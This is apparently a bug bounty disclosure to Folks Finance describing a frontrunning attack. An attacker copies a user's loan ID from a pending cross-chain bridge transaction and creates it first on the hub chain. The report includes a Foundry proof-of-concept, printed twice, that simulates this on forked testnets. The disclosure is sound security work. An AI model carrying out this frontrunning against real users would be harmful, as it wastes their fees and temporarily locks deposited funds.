Boost _ Folks Finance 33542 - [Smart Contract - Medium] Attacker can create loan before users tx is completed through bridge

Submitted on Mon Jul 22 2024 22:40:57 GMT-0400 (Atlantic Standard Time) by @cryptoticky for Boost | Folks Finance

Report ID: #33542

Report type: Smart Contract

Report severity: Medium

Target: https://sepolia.etherscan.io/address/0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85

Impacts:

  • Temporary freezing of funds of at least 24h

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

Attacker can create loan before user's tx is completed through bridge It is similar to Report #33272. https://bugs.immunefi.com/dashboard/submission/33272

Vulnerability Details

When user send the message to bridge, it would be 10+ seconds. So attacker can get the tx information from the source chain and create a loan before the user's tx is completed.

Impact Details

If user use SpokeCommon.createLoan, user will just loss the gas cost. But if user use SpokeToken.createLoanAndDeposit, the deposited amount will locked in hubChain or spokeToken contract of source chain for a while.

Recommendation

Same to report 33272.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/PoC.sol";


interface ISpokeCommon {
    struct MessageParams {
        uint16 adapterId; // where to route message through
        uint16 returnAdapterId; // if applicable, where to route message through for return message
        uint256 receiverValue; // amount of value to attach for receive message
        uint256 gasLimit; // gas limit for receive message
        uint256 returnGasLimit; // if applicable, gas limit for return message
    }

    function createAccount(
        MessageParams memory params,
        bytes32 accountId,
        bytes32 refAccountId
    ) external payable;

    function createLoan(
        MessageParams memory params,
        bytes32 accountId,
        bytes32 loanId,
        uint16 loanTypeId,
        bytes32 loanName
    ) external payable;
}

contract FolksFinance is PoC {
    address public attacker = 0x7039BC43b78A7135F82567C1f973BfAa30F5b8Ab;
    address public user = 0x75C0c372da875a4Fc78E8A37f58618a6D18904e8;

    function setUp() virtual public {
        console.log("\n>>> Initial conditions");
    }

    function testCreateAccount() public {
        vm.createSelectFork("eth_testnet", 6322454);
        vm.startPrank(user);
        ISpokeCommon spokeCommon = ISpokeCommon(0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85);
        ISpokeCommon.MessageParams memory params;
        params.adapterId = 2;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 201817;
        params.returnGasLimit = 0;

        bytes32 accountId = bytes32(uint256(1));
        bytes32 refAccountId;

        spokeCommon.createAccount{value: 13828150600000000}(params, accountId, refAccountId);
        // User has to pay for gas cost for this tx and fee(the gasLimit for targetChain).

        vm.stopPrank();

        // An attacker can carry out a frontrunning attack
        // The attacker the accountId from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network).
        // This is possible because it takes over 10 seconds to complete the transaction through the bridge.
        vm.createSelectFork("avalanche_testnet", 34872103);
        spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
        params.adapterId = 1;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 0;
        params.returnGasLimit = 0;

        accountId = bytes32(uint256(1));
        spokeCommon.createAccount(params, accountId, refAccountId);
        // Wormhole would send the message after the accountId is created and the tx would be failed.
    }

    function testCreateLoan() public {
        vm.createSelectFork("eth_testnet", 6322454);
        vm.startPrank(user);
        ISpokeCommon spokeCommon = ISpokeCommon(0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85);
        ISpokeCommon.MessageParams memory params;
        params.adapterId = 2;
        params.returnAdapterId = 2;
        params.receiverValue = 0;
        params.gasLimit = 201817;
        params.returnGasLimit = 0;

        bytes32 accountId = bytes32(uint256(1));
        bytes32 refAccountId;

        spokeCommon.createAccount{value: 13828150600000000}(params, accountId, refAccountId);
        vm.warp(block.timestamp + 60);

        bytes32 loanId = bytes32("loan");
        spokeCommon.createLoan{value: 13828150500000000}(params, accountId, loanId, 2, "loanId");
        // User has to pay for gas cost for this tx and fee(the gasLimit for targetChain).

        vm.stopPrank();

        // An attacker can carry out a frontrunning attack
        // The attacker the accountId from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network).
        // This is possible because it takes over 10 seconds to complete the transaction through the bridge.
        vm.createSelectFork("avalanche_testnet", 34872103);

        spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);

        vm.startPrank(attacker);
        params.adapterId = 1;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 0;
        params.returnGasLimit = 0;

        accountId = bytes32(uint256(2));
        spokeCommon.createAccount(params, accountId, refAccountId);


        spokeCommon.createLoan(params, accountId, loanId, 2, "loanId");
        vm.stopPrank();
        // Wormhole would send the message after the accountId is created and the tx would be failed.
    }
}

Proof of concept

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/PoC.sol";


interface ISpokeCommon {
    struct MessageParams {
        uint16 adapterId; // where to route message through
        uint16 returnAdapterId; // if applicable, where to route message through for return message
        uint256 receiverValue; // amount of value to attach for receive message
        uint256 gasLimit; // gas limit for receive message
        uint256 returnGasLimit; // if applicable, gas limit for return message
    }

    function createAccount(
        MessageParams memory params,
        bytes32 accountId,
        bytes32 refAccountId
    ) external payable;

    function createLoan(
        MessageParams memory params,
        bytes32 accountId,
        bytes32 loanId,
        uint16 loanTypeId,
        bytes32 loanName
    ) external payable;
}

contract FolksFinance is PoC {
    address public attacker = 0x7039BC43b78A7135F82567C1f973BfAa30F5b8Ab;
    address public user = 0x75C0c372da875a4Fc78E8A37f58618a6D18904e8;

    function setUp() virtual public {
        console.log("\n>>> Initial conditions");
    }

    function testCreateAccount() public {
        vm.createSelectFork("eth_testnet", 6322454);
        vm.startPrank(user);
        ISpokeCommon spokeCommon = ISpokeCommon(0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85);
        ISpokeCommon.MessageParams memory params;
        params.adapterId = 2;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 201817;
        params.returnGasLimit = 0;

        bytes32 accountId = bytes32(uint256(1));
        bytes32 refAccountId;

        spokeCommon.createAccount{value: 13828150600000000}(params, accountId, refAccountId);
        // User has to pay for gas cost for this tx and fee(the gasLimit for targetChain).

        vm.stopPrank();

        // An attacker can carry out a frontrunning attack
        // The attacker the accountId from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network).
        // This is possible because it takes over 10 seconds to complete the transaction through the bridge.
        vm.createSelectFork("avalanche_testnet", 34872103);
        spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
        params.adapterId = 1;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 0;
        params.returnGasLimit = 0;

        accountId = bytes32(uint256(1));
        spokeCommon.createAccount(params, accountId, refAccountId);
        // Wormhole would send the message after the accountId is created and the tx would be failed.
    }

    function testCreateLoan() public {
        vm.createSelectFork("eth_testnet", 6322454);
        vm.startPrank(user);
        ISpokeCommon spokeCommon = ISpokeCommon(0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85);
        ISpokeCommon.MessageParams memory params;
        params.adapterId = 2;
        params.returnAdapterId = 2;
        params.receiverValue = 0;
        params.gasLimit = 201817;
        params.returnGasLimit = 0;

        bytes32 accountId = bytes32(uint256(1));
        bytes32 refAccountId;

        spokeCommon.createAccount{value: 13828150600000000}(params, accountId, refAccountId);
        vm.warp(block.timestamp + 60);

        bytes32 loanId = bytes32("loan");
        spokeCommon.createLoan{value: 13828150500000000}(params, accountId, loanId, 2, "loanId");
        // User has to pay for gas cost for this tx and fee(the gasLimit for targetChain).

        vm.stopPrank();

        // An attacker can carry out a frontrunning attack
        // The attacker the accountId from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network).
        // This is possible because it takes over 10 seconds to complete the transaction through the bridge.
        vm.createSelectFork("avalanche_testnet", 34872103);

        spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);

        vm.startPrank(attacker);
        params.adapterId = 1;
        params.returnAdapterId = 1;
        params.receiverValue = 0;
        params.gasLimit = 0;
        params.returnGasLimit = 0;

        accountId = bytes32(uint256(2));
        spokeCommon.createAccount(params, accountId, refAccountId);


        spokeCommon.createLoan(params, accountId, loanId, 2, "loanId");
        vm.stopPrank();
        // Wormhole would send the message after the accountId is created and the tx would be failed.
    }
}

Last updated